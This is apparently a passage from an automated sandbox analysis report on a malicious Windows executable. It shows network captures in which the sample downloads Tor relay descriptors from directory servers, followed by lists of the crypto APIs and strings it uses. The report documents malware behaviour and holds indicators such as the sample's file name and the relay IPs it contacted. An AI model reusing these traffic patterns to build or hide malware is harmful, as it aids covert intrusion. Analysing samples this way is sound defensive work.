Oct 24, 2022 11:00:50.163197994 CEST	2617	IN	Data Raw: 31 38 33 30 39 44 45 44 34 43 44 36 44 35 37 43 31 38 46 44 42 39 37 45 46 41 39 36 44 33 33 30 35 36 36 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 39 31 33 31 20 39 31 30 31 0a 63 6f 6e 74 61 63 74 20 31 30 32 34 Data Ascii: 18309DED4CD6D57C18FDB97EFA96D330566 128.31.0.24 128.31.0.24 9131 9101contact 1024D/EB5A896A28988BF5 arma mit eduvote-digest 86932C67F285958234AF644859B62C071E5CF59Bdir-source dizum E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 45.66.33.45 45.66.
Oct 24, 2022 11:00:50.163218021 CEST	2618	IN	Data Raw: 30 30 3a 31 31 3a 31 31 20 31 33 37 2e 31 38 34 2e 31 33 2e 31 32 30 20 34 34 33 20 30 0a 61 20 5b 32 36 30 34 3a 61 38 38 30 3a 34 3a 31 64 30 3a 3a 32 37 64 3a 66 30 30 30 5d 3a 34 34 33 0a 73 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 56 32 44 Data Ascii: 00:11:11 137.184.13.120 443 0a [2604:a880:4:1d0::27d:f000]:443s Fast Running V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Ban
Oct 24, 2022 11:00:50.163239002 CEST	2620	IN	Data Raw: 2d 36 35 35 33 35 0a 72 20 53 74 61 72 41 70 70 73 4d 6f 62 6c 65 79 20 41 43 67 37 56 57 54 6a 42 79 33 4e 32 72 4d 64 62 76 59 69 33 55 6d 2f 55 6b 38 20 49 2f 6b 44 6c 44 7a 69 63 33 4c 6b 4b 52 61 68 58 54 70 4a 7a 6e 51 77 79 4d 6f 20 32 30 Data Ascii: -65535r StarAppsMobley ACg7VWTjBy3N2rMdbvYi3Um/Uk8 I/kDlDzic3LkKRahXTpJznQwyMo 2022-10-24 05:47:25 195.15.242.99 9001 0a [2001:1600:10:100::201]:9001s Fast Guard Running Stable V2Dir Validv Tor 0.4.7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowC
Oct 24, 2022 11:00:50.163266897 CEST	2621	IN	Data Raw: 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 Data Ascii: l=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=9300p reject 1-65535r namie AFyL+BoOH3CNtCpXPISvAlpAb88 r9QzCKrNF8lYwbnDnIO0cpavY3k 2022-10-24 02:47:30 109.241.109.93 443 0s Fast Runn
Oct 24, 2022 11:00:50.163290977 CEST	2622	IN	Data Raw: 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 Data Ascii: t Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=23000p reject 1-65535r Quintex13 AHe8unJE2z5qXtJ0boYX
Oct 24, 2022 11:00:50.163310051 CEST	2624	IN	Data Raw: 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 34 0a 70 20 72 65 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 42 6c 61 63 6b 42 65 6c 75 67 61 20 41 4a 59 74 4c 64 43 35 76 7a 70 71 38 64 58 72 49 42 45 79 4f 49 72 4b 46 43 Data Ascii: Relay=1-4w Bandwidth=14p reject 1-65535r BlackBeluga AJYtLdC5vzpq8dXrIBEyOIrKFCQ Jc3bHf5g0eXR4rkpWM4IWaEcHt0 2022-10-23 21:50:34 5.189.155.39 9001 0s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 Flow
Oct 24, 2022 11:00:50.163346052 CEST	2625	IN	Data Raw: 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 34 35 30 30 30 0a 70 20 72 65 6a 65 63 74 20 31 Data Ascii: nk=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=45000p reject 1-65535r roterechtehand ALwRxEi3DILGEA9bE2LflQpgnwo WpwF6wWcjaeO/w2LTH4vIwDpSWs 2022-10-23 20:25:31 213.144.130.195 4569 0s Fast Running V2Dir Validv Tor 0.4.5
Oct 24, 2022 11:00:50.183901072 CEST	2627	IN	Data Raw: 32 33 2c 35 32 32 38 2c 35 39 30 30 2c 36 36 36 30 2d 36 36 36 39 2c 36 36 37 39 2c 36 36 39 37 2c 38 30 30 30 2c 38 30 30 38 2c 38 30 37 34 2c 38 30 38 30 2c 38 30 38 32 2c 38 30 38 37 2d 38 30 38 38 2c 38 33 33 32 2d 38 33 33 33 2c 38 34 34 33 Data Ascii: 23,5228,5900,6660-6669,6679,6697,8000,8008,8074,8080,8082,8087-8088,8332-8333,8443,8888,9418,9999-10000,11371,19294,19638,50002,64738r tried ANLOPCFT6gl4byEF8msTjPdZQk8 3grdaAsHQt8ueF90Mu22lricuaw 2022-10-23 20:28:29 107.155.81.178 443 0s Fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49721	199.249.230.174	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:58.287982941 CEST	5107	OUT	GET /tor/server/fp/0e69aa0e00ab9e5bbf052c864682229b0b1f16ad HTTP/1.0 Host: 199.249.230.174 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:59.061283112 CEST	5108	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:58 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:00:58 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 38 37 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 38 37 20 31 31 31 38 37 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 43 4b 41 58 6a 38 74 37 55 7a 44 45 65 32 69 51 75 58 63 6c 34 64 58 5a 72 49 47 54 70 6f 6f 4c 41 30 68 35 62 30 43 30 2b 37 56 51 56 62 41 51 41 67 42 41 44 38 71 4c 36 58 0a 4d 63 37 74 50 57 6b 47 38 30 2b 76 65 2b 70 77 31 6c 72 45 32 45 55 4e 5a 39 58 57 47 75 42 4f 59 55 5a 71 63 66 31 49 53 4d 4c 56 66 70 32 4e 47 73 53 77 43 32 31 4a 34 6d 4c 67 34 6e 68 56 0a 54 33 6d 4e 48 4c 55 76 46 70 37 33 69 76 2b 37 55 77 2b 75 44 42 71 67 49 57 79 31 5a 41 4b 4e 6a 43 64 33 2b 61 39 45 54 44 4b 4d 65 58 79 56 32 65 46 41 53 42 4d 6c 44 67 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 2f 4b 69 2b 6c 7a 48 4f 37 54 31 70 42 76 4e 50 72 33 76 71 63 4e 5a 61 78 4e 68 46 44 57 66 56 31 68 72 67 54 6d 46 47 61 6e 45 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 38 37 5d 3a 31 31 31 38 37 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 38 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 37 3a 31 31 3a 31 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 45 36 39 20 41 41 30 45 20 30 30 41 42 20 39 45 35 42 20 42 46 30 35 20 32 43 38 36 20 34 36 38 32 20 32 32 39 42 20 30 42 31 46 20 31 36 41 44 0a 75 70 74 69 6d 65 20 33 35 30 30 33 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 31 31 34 37 35 34 33 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 37 31 35 43 42 30 43 35 41 35 43 41 44 36 37 31 30 46 41 31 34 43 39 31 43 37 42 30 31 30 36 31 39 37 44 38 41 30 34 37 20 30 72 57 71 30 6d 50 75 33 69 58 47 74 62 44 35 75 6b 34 64 78 30 45 32 41 49 4e 41 79 45 46 4a 72 76 41 54 68 73 74 6d 79 4b 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 62 52 4e 50 2b 6a 62 43 54 71 55 50 4d 55 50 7a 45 52 4d 6f 5a 6d 76 63 53 69 68 44 67 4c 52 48 73 53 6d 43 71 71 79 71 36 6c 39 6e 37 42 4d 45 31 4b 43 37 48 57 0a 79 57 6f 30 32 56 33 69 6d 39 72 6c 77 70 42 47 43 45 77 6d 5a 6c 37 6c 4d 70 5a 34 57 4a 4a 44 68 44 4e 61 55 66 54 2b 75 50 64 65 46 78 56 51 41 56 65 4a 6f 61 52 58 31 72 4a 6d 73 32 46 6b 0a 43 68 77 43 67 4c 37 31 44 73 6f 30 6a 2b 33 56 2b 45 71 74 6b 59 58 6d 6c 35 34 39 43 48 34 72 49 63 59 62 65 48 4a 32 43 78 58 62 5a 47 6e 74 70 58 58 4a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d Data Ascii: router relayon1187 185.220.101.187 11187 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxCKAXj8t7UzDEe2iQuXcl4dXZrIGTpooLA0h5b0C0+7VQVbAQAgBAD8qL6XMc7tPWkG80+ve+pw1lrE2EUNZ9XWGuBOYUZqcf1ISMLVfp2NGsSwC21J4mLg4nhVT3mNHLUvFp73iv+7Uw+uDBqgIWy1ZAKNjCd3+a9ETDKMeXyV2eFASBMlDgU=-----END ED25519 CERT-----master-key-ed25519 /Ki+lzHO7T1pBvNPr3vqcNZaxNhFDWfV1hrgTmFGanEor-address [2a0b:f4c2:1::187]:11187platform Tor 0.4.7.8 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 17:11:15fingerprint 0E69 AA0E 00AB 9E5B BF05 2C86 4682 229B 0B1F 16ADuptime 350031bandwidth 1073741824 1073741824 21147543extra-info-digest 715CB0C5A5CAD6710FA14C91C7B0106197D8A047 0rWq0mPu3iXGtbD5uk4dx0E2AINAyEFJrvAThstmyKMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALbRNP+jbCTqUPMUPzERMoZmvcSihDgLRHsSmCqqyq6l9n7BME1KC7HWyWo02V3im9rlwpBGCEwmZl7lMpZ4WJJDhDNaUfT+uPdeFxVQAVeJoaRX1rJms2FkChwCgL71Dso0j+3V+EqtkYXml549CH4rIcYbeHJ2CxXbZGntpXXJAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----
Oct 24, 2022 11:00:59.061336994 CEST	5109	IN	Data Raw: 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4a 44 4e 67 4e 35 47 55 69 70 53 57 4a 74 46 77 6a 75 30 7a 30 7a 45 5a 71 69 68 43 55 61 4a 55 49 66 33 6e 4b 46 78 37 52 44 4f 72 72 32 Data Ascii: BEGIN RSA PUBLIC KEY-----MIGJAoGBAMJDNgN5GUipSWJtFwju0z0zEZqihCUaJUIf3nKFx7RDOrr26CQoJO1wQv0bHLHv1vG3ocY11jxMzrjXPOYKuzjeL77arqHcBxQlQaUsU6VNdY6cLcj4X4tDm4QJUhxIZ0op0LCEE93f+BNVLup1bTXbEWzyWQIWPGE68BaAsE5bAgMBAAE=-----END RSA PUBLIC KEY---
Oct 24, 2022 11:00:59.061356068 CEST	5110	IN	Data Raw: 2d 2d 0a 66 61 6d 69 6c 79 20 24 30 35 39 38 35 31 45 34 31 30 37 36 45 34 37 43 38 42 33 39 31 32 39 32 42 46 30 45 37 33 42 45 31 36 30 30 46 42 43 44 20 24 30 36 30 33 41 35 30 39 46 37 31 45 37 38 36 42 41 45 30 36 39 34 42 41 33 35 44 30 33 Data Ascii: --family $059851E41076E47C8B391292BF0E73BE1600FBCD $0603A509F71E786BAE0694BA35D03B3E39255B49 $066CD2C493E4DF7300B2731EAF7E317433262591 $06858169A363A5ACCB6D5F362A6A550FEE3891AA $07A2ADB079E1440927020D23B47B4358CCA585A8 $0ADDA48046EFCD0EDFD28F
Oct 24, 2022 11:00:59.061374903 CEST	5112	IN	Data Raw: 35 32 32 39 35 33 44 44 31 43 42 42 33 44 41 44 42 37 46 35 33 44 35 42 30 20 24 33 33 31 43 45 45 31 39 46 33 31 31 32 30 34 43 42 37 33 32 46 46 38 44 42 35 36 39 34 43 34 44 46 33 32 46 33 42 32 36 20 24 33 36 36 42 43 32 42 35 39 30 43 41 44 Data Ascii: 522953DD1CBB3DADB7F53D5B0 $331CEE19F311204CB732FF8DB5694C4DF32F3B26 $366BC2B590CAD9C50DC05E2BBC3F3D7C8FD27EF1 $36D8A00885BCBFEB17312607C0877BFFD9330CF0 $3734660DC6F7EA1116BFCB80FC23FAC5680BD801 $3A7B07485E2F4DC45FB57761CAC59FA2C556AAFE $3C363C
Oct 24, 2022 11:00:59.061393976 CEST	5113	IN	Data Raw: 24 37 38 43 33 30 37 36 38 42 30 35 44 41 31 31 43 44 37 36 34 45 32 32 39 43 32 33 37 42 35 30 34 37 31 33 31 39 43 46 45 20 24 37 41 37 32 44 41 33 31 32 37 42 45 30 39 41 38 30 32 32 35 35 41 36 30 30 43 44 30 42 34 45 39 37 37 38 35 46 35 46 Data Ascii: $78C30768B05DA11CD764E229C237B50471319CFE $7A72DA3127BE09A802255A600CD0B4E97785F5FD $7C34BB94624DD1194CAD0083ACB9251AEBE3BF8C $7CC686289752FDA026E8B22246EDE0979D1B7B04 $8132DD2EFA6D048CB9D050C78453F5C8D8CCAF65 $85368110DA68CB552D19FD9A9BBC68BA
Oct 24, 2022 11:00:59.061410904 CEST	5114	IN	Data Raw: 30 39 33 45 34 42 36 35 32 42 38 33 34 41 34 20 24 42 34 43 34 39 38 39 36 36 36 33 38 34 43 34 30 39 31 34 31 39 37 41 37 36 37 45 31 44 31 44 32 39 39 45 37 33 36 37 36 20 24 42 36 30 42 39 34 46 43 30 46 44 38 44 46 36 46 32 44 39 43 36 31 31 Data Ascii: 093E4B652B834A4 $B4C4989666384C40914197A767E1D1D299E73676 $B60B94FC0FD8DF6F2D9C611F77FC7EF66646A45C $B6BAB95C30B2A1FF75B80B5E2B0895B97FF87D2F $B9DA7E83EEA60B91D7B18A272F38B5F6AC7D33C7 $BAB161E1E3319F005568E27029681ED537AF3406 $BC489671E2D42AD4
Oct 24, 2022 11:00:59.063543081 CEST	5115	IN	Data Raw: 43 43 36 31 31 39 33 42 36 31 45 36 35 31 42 33 32 31 30 44 34 37 33 39 42 38 33 37 46 33 43 20 24 46 32 31 31 41 37 30 33 31 41 31 34 46 42 30 44 41 31 33 44 34 36 37 46 36 43 31 42 39 38 46 44 43 33 46 32 41 35 35 39 20 24 46 35 38 36 46 30 45 Data Ascii: CC61193B61E651B3210D4739B837F3C $F211A7031A14FB0DA13D467F6C1B98FDC3F2A559 $F586F0E989416C210211A74640E1D9FAC0C74264 $F9408C144B36D78A47BABB0BB53DFF671D23BE51 $FF450F683B7BE494703B90827DB2DBD05B624471hidden-service-dircontact url:relayon.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49722	2.56.98.134	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:59.497168064 CEST	5117	OUT	GET /tor/server/fp/fb3a8fe9feca7935b3b707eb9990daa2e8d609cb HTTP/1.0 Host: 2.56.98.134 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:59.835720062 CEST	5119	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:59 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:00:59 GMT Data Raw: 72 6f 75 74 65 72 20 6a 63 6d 65 64 69 61 74 6f 72 30 31 20 35 30 2e 32 33 30 2e 32 30 32 2e 32 34 39 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 48 39 41 5a 4c 70 73 67 6f 55 69 6e 33 67 66 79 35 4a 47 72 6f 44 4a 35 4a 44 43 63 52 6b 6d 65 55 4b 70 6f 49 64 61 37 74 62 61 34 37 72 41 51 41 67 42 41 41 37 59 39 2f 45 0a 56 69 69 73 50 6c 45 62 56 43 53 35 6a 64 33 75 5a 55 5a 6d 53 73 47 44 6e 49 54 61 67 65 72 71 68 43 42 75 77 6b 6a 75 69 78 71 73 4d 4b 39 79 6e 58 75 58 4e 39 37 63 34 32 37 70 56 56 59 6b 0a 52 4a 59 74 4e 6a 46 52 65 42 6f 4f 58 5a 30 66 6c 43 78 47 58 50 53 4b 57 49 48 7a 67 49 53 53 4f 37 67 52 43 65 50 5a 52 53 73 61 6c 77 50 53 46 2b 41 4a 2b 66 31 63 64 51 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4f 32 50 66 78 46 59 6f 72 44 35 52 47 31 51 6b 75 59 33 64 37 6d 56 47 5a 6b 72 42 67 35 79 45 32 6f 48 71 36 6f 51 67 62 73 49 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 30 30 31 3a 35 35 39 3a 31 62 35 3a 39 31 3a 3a 31 32 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 37 3a 33 33 3a 34 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 46 42 33 41 20 38 46 45 39 20 46 45 43 41 20 37 39 33 35 20 42 33 42 37 20 30 37 45 42 20 39 39 39 30 20 44 41 41 32 20 45 38 44 36 20 30 39 43 42 0a 75 70 74 69 6d 65 20 35 37 34 32 34 37 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 32 36 39 32 35 31 31 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 42 32 45 34 46 41 44 42 37 46 38 38 41 32 43 31 42 36 31 43 43 45 30 34 31 45 34 43 38 33 44 44 34 32 36 41 45 35 42 34 20 71 69 2b 2f 4e 2f 4d 54 38 43 69 6e 47 2b 2b 53 6d 6c 67 38 63 41 36 31 42 34 72 44 63 41 66 33 68 6d 37 37 78 4a 6d 55 5a 32 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 43 68 72 2b 51 67 62 69 67 6d 2f 4d 46 4c 5a 44 74 57 69 5a 50 54 41 63 64 68 6f 4a 49 42 66 49 34 45 5a 6d 38 66 65 39 69 31 58 38 31 4b 75 49 54 72 45 77 65 79 0a 66 2f 6c 66 30 38 48 66 31 2b 55 74 75 65 73 33 64 79 46 2b 49 34 47 49 65 6c 46 41 6e 4f 45 54 6b 35 7a 59 34 73 38 74 63 54 35 47 6a 6c 51 70 78 6b 74 69 46 31 35 50 6f 64 59 46 62 78 50 4d 0a 5a 4c 70 38 38 4e 6d 45 31 4a 6e 51 4a 31 30 6b 39 58 38 41 51 77 35 6f 44 73 35 62 4e 48 62 74 30 49 59 46 45 34 2b 4d 71 79 54 67 34 42 31 6d 57 4f 2b 66 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d Data Ascii: router jcmediator01 50.230.202.249 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxH9AZLpsgoUin3gfy5JGroDJ5JDCcRkmeUKpoIda7tba47rAQAgBAA7Y9/EViisPlEbVCS5jd3uZUZmSsGDnITagerqhCBuwkjuixqsMK9ynXuXN97c427pVVYkRJYtNjFReBoOXZ0flCxGXPSKWIHzgISSO7gRCePZRSsalwPSF+AJ+f1cdQc=-----END ED25519 CERT-----master-key-ed25519 O2PfxFYorD5RG1QkuY3d7mVGZkrBg5yE2oHq6oQgbsIor-address [2001:559:1b5:91::12]:9001platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 17:33:49fingerprint FB3A 8FE9 FECA 7935 B3B7 07EB 9990 DAA2 E8D6 09CBuptime 5742471bandwidth 1073741824 1073741824 22692511extra-info-digest B2E4FADB7F88A2C1B61CCE041E4C83DD426AE5B4 qi+/N/MT8CinG++Smlg8cA61B4rDcAf3hm77xJmUZ28onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMChr+Qgbigm/MFLZDtWiZPTAcdhoJIBfI4EZm8fe9i1X81KuITrEweyf/lf08Hf1+Utues3dyF+I4GIelFAnOETk5zY4s8tcT5GjlQpxktiF15PodYFbxPMZLp88NmE1JnQJ10k9X8AQw5oDs5bNHbt0IYFE4+MqyTg4B1mWO+fAgMBAAE=-----END RSA PUBLIC KEY-----signing-key--
Oct 24, 2022 11:00:59.835777044 CEST	5119	IN	Data Raw: 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 43 79 35 6a 31 54 58 66 58 30 53 47 65 72 4d 30 6f 45 6a 71 65 4f 48 54 51 71 45 48 51 4b 4c 4c 44 58 49 65 76 54 66 4d 6d 65 2f Data Ascii: ---BEGIN RSA PUBLIC KEY-----MIGJAoGBAOCy5j1TXfX0SGerM0oEjqeOHTQqEHQKLLDXIevTfMme/3FVi2fu2OoVJ4gneTobkKQqxjG5jBC1Pxz8JLoHrQn+RehE9g77oZ/JjTXiUAJQX2dwr92Ra0xvHyJxE2LdaeHT5zGiE3Ol4hER9oZYcYCKgYACq12OUWG0sk4sLMXjAgMBAAE=-----END RSA PUBLIC KEY
Oct 24, 2022 11:00:59.835802078 CEST	5120	IN	Data Raw: 2d 2d 2d 2d 2d 0a 68 69 64 64 65 6e 2d 73 65 72 76 69 63 65 2d 64 69 72 0a 63 6f 6e 74 61 63 74 20 6a 63 72 6f 77 65 28 61 74 29 6a 63 6d 65 64 69 61 28 64 6f 74 29 75 73 20 5b 74 6f 72 2d 72 65 6c 61 79 2e 63 6f 5d 0a 6e 74 6f 72 2d 6f 6e 69 6f Data Ascii: -----hidden-service-dircontact jcrowe(at)jcmedia(dot)us [tor-relay.co]ntor-onion-key ynU5S2ZUdpefB90QAg8CFM0kxBD63YcObmDgMkxBJQoreject :tunnelled-dir-serveroverload-general 1 2022-10-23 15:00:00router-sig-ed25519 EUv5WrVtmi7neH4MfuETU

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49723	37.157.197.143	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:01:02.946866035 CEST	5124	OUT	GET /tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1 HTTP/1.0 Host: 37.157.197.143 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: SPXp2YHDFz.exePID: 5820, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.6%
Total number of Nodes:	19
Total number of Limit Nodes:	3

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32(?,?,?,?,?,?,00007FF79BAA10B1), ref: 00007FF79BAA275A
LoadLibraryA.KERNEL32(?,?,?,?,?,?,00007FF79BAA10B1), ref: 00007FF79BAA276B
BCryptOpenAlgorithmProvider.BCRYPT(?,?,?,?,?,?,00007FF79BAA10B1), ref: 00007FF79BAA2785
BCryptSetProperty.BCRYPT ref: 00007FF79BAA27AB
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA27C5
BCryptSetProperty.BCRYPT ref: 00007FF79BAA27EB
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA2826
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA2840
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA285A
BCryptSetProperty.BCRYPT ref: 00007FF79BAA2880
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA289A
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA28B4
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF79BAA28D1

Strings

ECCCurveName, xrefs: 00007FF79BAA2873
curve25519, xrefs: 00007FF79BAA2867
ChainingModeCBC, xrefs: 00007FF79BAA2792
SHA256, xrefs: 00007FF79BAA28C0
RSA, xrefs: 00007FF79BAA27F8
RNG, xrefs: 00007FF79BAA2889
ChainingModeECB, xrefs: 00007FF79BAA27D2
bcrypt_alt.dll, xrefs: 00007FF79BAA2764
AES, xrefs: 00007FF79BAA2774, 00007FF79BAA27B4
